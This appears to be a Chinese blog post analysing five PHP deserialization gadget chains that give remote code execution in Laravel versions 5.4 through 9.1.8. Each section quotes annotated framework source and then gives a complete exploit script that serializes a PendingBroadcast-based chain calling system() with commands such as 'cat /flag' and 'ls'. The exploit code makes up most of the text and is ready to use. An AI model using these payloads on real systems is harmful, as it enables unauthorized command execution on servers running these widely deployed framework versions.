Laravel框架 五条RCE 探究
- Laravel 5.4.x RCE
vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
namespace Illuminate\Broadcasting;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct(Dispatcher $events, $event) {
$this->event = $event;
$this->events = $events;
}
public function __destruct() {
$this->events->dispatch($this->event);
}
}
给一个有__call方法的类调用一个该类不存在的方法,会把这个方法强制转换为字符串作为第一个参数,并且把调用时传进来的参数作为数组作为第二个参数
也就对应 "dispatch" 和$event
通过给 $events的属性值赋予含有__call魔术方法的类,使得此链得以延续。选择的类为
vendor/laravel/framework/src/Illuminate/Validation/Validator.php
<?php
namespace Illuminate\Validation;
class Validator {
public $extensions = [];
//"dispatch"和$event
public function __call($method, $parameters) {
// "dispatch"被处理后还是""
$rule = Str::snake(substr($method, 8));
//检查extensions是否有叫做""的键名
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
throw new BadMethodCallException("Method [$method] does not exist.");
protected function callExtension($rule, $parameters) {
//获取$extensions数组的dispatch键的键值
$callback = $this->extensions[$rule];
//检查字符串是否
if (is_string($callback)) {
//核心调用函数
return call_user_func($callback, ...$parameters);
} //...是散列运算符,用于“拆包”
}}}
期望$callback的值是system,可以令extensions = ['' => 'system'];
而 $parameters对应的是PendingBroadcast的属性$events,可以操控
由此return call_user_func($callback, ...$parameters);都课可以控制了
整体逻辑
PendingBroadcast(__destruct) --> Validator(__call) --> Validator(callExtension) --> Validator(call_user_func)
- 构造exp
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $event="cat /flag"; //
protected $events;
public function __construct($k){
$this->events=$k;
}}}
namespace Illuminate\Validation {
class Validator {
public $extensions = ['' => 'system'];
}}
namespace{
$a=new \Illuminate\Validation\Validator();
$b=new Illuminate\Broadcasting\PendingBroadcast($a);
echo base64_encode(serialize(new \Illuminate\Broadcasting\PendingBroadcast($a)));
}
- Laravel 5.5.0 - 5.5.40 RCE
vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
<?php
namespace Illuminate\Broadcasting;
class PendingBroadcast
{
protected $events;
protected $event;
public function __destruct()
{
$this->events->dispatch($this->event);
}
}
vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php
<?php
namespace Illuminate\Events;
class Dispatcher implements DispatcherContract
{
protected $listeners = [];
protected function parseEventAndPayload($event, $payload){
// 如果你传的是一个对象(比如 new UserRegistered())
if (is_object($event)) {
// 它会把对象本身变成 payload,把类名变成 event 名
list($payload, $event) = [[$event], get_class($event)];
}
//传入的是一个字符串,此时的情况
//把$event返回,把$payload给强制数组转换
return [$event, Arr::wrap($payload)];
}
/////////////////////////////////////////////////////////////////////////////
// 接收到了PendingBroadcast的$event
public function dispatch($event, $payload = [], $halt = false)
{
// 这里的 $event 依然是 $event ,因为传入的不是对象
list($event, $payload) = $this->parseEventAndPayload($event, $payload);
foreach ($this->getListeners($event) as $listener) {
// 等价于取出listeners数组里面的键为$event的值
// $变量名() 会当做函数执行
$response = $listener($event, $payload);
//php中,赋值运算符的语句会从右往左,这个函数会被执行
//在 php 7.x 以下 如果执行system("ls","xxx") 会报错,但是依然会输出执行的结果
}
}
public function getListeners($eventName)
{
// 查找逻辑
// 它去 $this->listeners 数组里找这个键
if (isset($this->listeners[$eventName])) {
return $this->listeners[$eventName];
}
}
}
给第一个类的$event赋值"ls"
由于foreach不能遍历字符串,所以采用数组嵌套,给该类的$listeners赋值["ls" => ["system"]]
即可构造出system("ls",[])
逻辑链就是PendingBroadcast(__destruct) --> Dispatcher(dispatch) --> Dispatch($listener($event, $payload))
- 构造exp
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $event='cat /flag';
protected $events;
public function __construct($k){
$this->events=$k;
}}}
namespace Illuminate\Events{
class Dispatcher
{
protected $listeners = ['cat /flag' => ['system']];
}}
namespace{
$a=new Illuminate\Events\Dispatcher();
$b=new Illuminate\Broadcasting\pendingBroadcast($a);
echo base64_encode(serialize($b));
}
- Laravel 5.5.x - 9.1.8 RCE
Illuminate/Broadcasting/PendingBroadcast.php
<?php
namespace Illuminate\Broadcasting;
class PendingBroadcast
{
protected $events;
protected $event;
public function __destruct()
{
$this->events->dispatch($this->event);
}
}
Illuminate/Notifications/ChannelManager.php
Illuminate/Support/Manager.php
<?php
namespace Illuminate\Notifications;
// 继承了 Manager 核心在于Manager类,但是Manager类是一个抽象类,无法被实例化,借助它的继承类作为桥梁
use Illuminate\Support\Manager;
class ChannelManager extends Manager
{
protected $defaultChannel = 'mail'; // 可控,后文作为$driver的值 不重要
public function getDefaultDriver()
{
return $this->defaultChannel;
}
}
//直接给出它的父类
namespace Illuminate\Support;
abstract class Manager
{
protected $app;
protected $customCreators = [];
protected $drivers = [];
//$method是"dispatch" $parameters是$event
public function __call($method, $parameters)
{
//只需要看 return $this->driver()
return $this->driver()->$method(...$parameters);
}
//如果$driver没有被定义,则执行
public function driver($driver = null)
{
//没有被定义,执行getDefaultDriver();
$driver = $driver ?: $this->getDefaultDriver();
//检查$drivers是否有为键名为$driver的键值存在
if (! isset($this->drivers[$driver])) {
//通过createDriver($driver);赋值
$this->drivers[$driver] = $this->createDriver($driver);
}
return $this->drivers[$driver];
}
protected function createDriver($driver)
{
//检查$customCreators是否有名为$driver的键值
if (isset($this->customCreators[$driver])) {
return $this->callCustomCreator($driver);
}
}
protected function callCustomCreator($driver)
{
//将$customCreators的键名为$driver的键值赋值给$method
$method = $this->customCreators[$driver];
//并且执行该函数
return $method($this->app);
}
}
只需要给$events赋值为类ChannelManager,
ChannelManager会触发Manager的__call方法。
目标是触发return $method($this->app);
那么只需要给$method赋值为"system" 给$app赋值为要执行的语句即可。想要触发这一环需要customCreators[$driver]存在,$driver的原始值是"mail"。
因此只要令customCreators["maile"]="system"即可
逻辑链就是
PendingBroadcast(__destruct) --> ChannelManager -->Manager(__call)--> Manager($this->driver()) --> Manager($this->createDriver($driver);) --> Manager(callCustomCreator($driver);)
- 构造exp
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $event="yes wind";
protected $events;
public function __construct($k){
$this->events=$k;
}}}
namespace Illuminate\Notifications{
class ChannelManager
{
protected $defaultChannel = 'mail';
protected $app="ls";
protected $customCreators = ["mail" => "system"];
}}
namespace{
$a=new Illuminate\Notifications\ChannelManager();
$b=new Illuminate\Broadcasting\PendingBroadcast($a);
echo base64_encode(serialize($b));
}
- Laravel 5.5.x - 8.x RCE
Illuminate/Broadcasting/PendingBroadcast.php
<?php
namespace Illuminate\Broadcasting;
class PendingBroadcast
{
protected $events;
protected $event;
public function __destruct()
{
$this->events->dispatch($this->event);
}
}
vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
<?php
namespace Faker;
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
//$name="dispatch" $argument=$event
public function __call($name, $arguments)
{
$i = 0;
do {
// 等价于$res = $this->generator->$name(); 可以给$generator绑定到类DefaultGenerator
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res)); //执行点
return $res;
}
}
vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php
<?php
namespace Faker;
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
public function __call($method, $attributes)
{
return $this->default;//$default可控,就是控制了$res
}
}
目标是执行call_user_func($this->validator, $res)
$validator完全可控 $res由$default决定,也可控
。
构造call_user_func("system","ls");可行
逻辑链就是
PendingBroadcast(__destruct) --> ValidGenerator(do) --> DefaultGenerator(__call) --> ValidGenerator(while)
- 构造exp
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event="yes wind";
public function __construct($k){
$this -> events=$k;
}
}}
namespace Faker{
class ValidGenerator
{
protected $maxRetries=1127;
protected $generator;
protected $validator="system";
public function __construct($k){
$this -> generator=$k;
}
}}
namespace Faker{
class DefaultGenerator
{
protected $default="ls";
}}
namespace{
$a=new Faker\DefaultGenerator();
$b=new Faker\ValidGenerator($a);
$c=new Illuminate\Broadcasting\PendingBroadcast($b);
echo base64_encode(serialize($c));
}
- Laravel 5.7.0 - 6.x RCE
Illuminate/Broadcasting/PendingBroadcast.php
<?php
class PendingBroadcast
{
protected $events;
protected $event;
public function __destruct()
{
$this->events->dispatch($this->event);
}
}
Illuminate/Bus/Dispatcher.php
<?php
class Dispatcher implements QueueingDispatcher
{
protected $queueResolver;
public function dispatch($command)
{
// $queueResolver可控, commandShouldBeQueued($command)取决于构造的$command 是什么类
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
public function dispatchToQueue($command)
{
//?? 表示左边语句失败才执行右边语句
$connection = $command->connection ?? null;
//核心利用点
$queue = call_user_func($this->queueResolver, $connection);
//会抛出错误但是不影响
return $queue->push($command);
}
// 辅助函数:检查命令是否需要进入队列
protected function commandShouldBeQueued($command)
{
//必须实现了 ShouldQueue 接口
return $command instanceof ShouldQueue;
}
}
call_user_func的$queueResolver完全可控,$connection等于$command的对象$connection
$command来自class PendingBroadcast的$event。
那么只要把$event伪造为一个对象。赋值$queueResolver即可。实现接口可以伪造为一个ShouldQueue 接口的对像QueuedCommand
逻辑链就是
PendingBroadcast(__destruct) --> Dispatcher(dispatch) -->Dispatcher(dispatchToQueue) --> Dispatcher(call_user_func)
- 构造exp
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($a, $b)
{
$this->events = $a;
$this->event = $b;
}}}
namespace Illuminate\Bus {
class Dispatcher
{
protected $queueResolver = "system";
}}
namespace Illuminate\Foundation\Console {
class QueuedCommand
{
public $connection;
}}
namespace {
use Illuminate\Bus\Dispatcher;
use Illuminate\Broadcasting\PendingBroadcast;
use Illuminate\Foundation\Console\QueuedCommand;
$command = new QueuedCommand();
$command->connection = "ls /";
$dispatcher = new Dispatcher();
$payload = new PendingBroadcast($dispatcher, $command);
echo base64_encode(serialize($payload));
}
(注意会输出报错内容,查看网页源码可以看到执行结果)

浙公网安备 33010602011771号